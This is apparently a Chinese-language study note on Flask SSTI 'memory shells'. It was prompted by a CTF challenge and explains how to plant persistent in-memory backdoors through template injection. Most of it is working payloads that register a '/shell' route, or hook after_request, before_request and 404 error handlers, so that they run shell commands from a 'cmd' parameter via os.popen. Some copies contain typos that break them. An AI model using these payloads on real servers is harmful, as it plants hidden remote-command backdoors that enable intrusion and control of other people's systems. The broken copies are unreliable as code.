前言
遇到一道需要flask的ssti,但是ban掉了curl ping 等一系列指令,只能用python内存马试试了,正好借此机会学习一下内存马
老版本python内存马
老版本因为检测不严所以容易写入内存马
payload
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
分别解释一下
url_for:flask内置函数用于访问全局变量
builtins是一个python内置的模块,在加载用户之前就已经被加载,调用不需要加前缀,我们在python能直接用的函数都在这个模块里面,在python2中叫做__builtin__
,所以url_for.__globals__['__builtins__']['eval']
==url_for.__globals__.__builtins__.eval
app.add_url_rule(rule, endpoint=None, view_func=None, **options)
view_func就是对应url的处理函数
现在无法直接在app里调用add_url_rule
所以现在调用会直接报错
这是因为下面_get_current_object
函数会直接标记设置完成,当被标记完成后应用对象将不可再进行修改,也就是add_url_rule
无法在app中再次调用了
_request_ctx_stack
用于处理上下文
这里处理的是request.args.get
的参数
有师傅将目标放在了一些类似于拦截器,中间件处理器当中,比如before_request
、after_request
、teardown_request
这三个上面,分别的作用如下:
- @app.before_request 用于注册一个函数,在每次请求处理开始前执行。这个函数可以用来执行一些预处理工作,例如设置一些全局变量、验证请求等。它在请求处理上下文中被调用。
- @app.after_request 用于注册一个函数,在每次请求处理完成后执行,它在请求处理成功完成后执行,而不管请求处理过程中是否发生了异常。这个函数可以用来对响应进行处理,它在请求处理上下文中被调用。
- @app.teardown_request() 用于注册一个函数,该函数在每次请求处理完成后执行。它通常用于清理工作,例如关闭数据库连接、释放资源等。这个函数可以访问请求处理过程中创建的任何对象,因为它在请求处理上下文中被调用。
从它们的源码中可以看到它们最终调用的处理函数分别是before_request_funcs.setdefault(),after_request_funcs.setdefault(), teardown_request_funcs.setdefault()。
新版本python内存马
url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
只有请求被处理完成且响应后,after_request函数才会对响应对象进行处理
lambda resp: CmdResp
lambda匿名函数,将CmdResp的值映射给resp
"lambda resp: mem if request.args.get('cmd') and exec(\"global mem;mem=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp"
这里的意思是:如果存在get传参cmd,且exec执行一个多行代码,CmdResp为一个全局变量,然后执行代码。由于exec()方法始终返回None,所以就为true,反之就resp。但是无
论如何都会执行这行代码(还是有前提的,需要cmd被赋值)
这个payload的就是,通过exec命令执行,创建一个HTTP响应对象,然后响应对象通过请求处理完成,响应对象被当成参数进行处理。
先说明after_request_funcs
after_request_funcs
在after_request
的源码中调用
before_request_funcs
在before_request
的源码中调用
def before_request(self, f: T_before_request) -> T_before_request:
self.before_request_funcs.setdefault(None, []).append(f)
return f
这里的f就是我们要加的函数
利用before_request_funcs把恶意代码添加到空列表末尾即把恶意代码传进到了None键的值中。
url_for.__globals__['__builtins__']['eval']
("sys.modules['__main__'].__dict__['app'].before_request_funcs.setdefaul
t(None,[]).append(lambda:__import__('os').popen('whoami').read())")
捕获异常payload
url_for.__globals__.__builtins__.exec("global exc_class;global code;exc_class, code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambdaa:__import__('os').popen(request.args.get('cmd','whoami')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
sys.modules['__main__'].__dict__['app']._get_exc_class_and_code(404);
用于获取到异常类和错误状态码
剩下的用于设置404错误的处理函数
url_for.__globals__.__builtins__.exec("global exc_class;globalcode;exc_class, code =app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os')popen(request.args.get('cmd','whoami')).read()",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})
这里用到了hook函数errorhandler
需要理解self.register_error_handler()
后面再补awa
参考
https://github.com/iceyhexman/flask_memory_shell
https://www.cnblogs.com/gxngxngxn/p/18181936
https://aiwin.fun/index.php/archives/4409/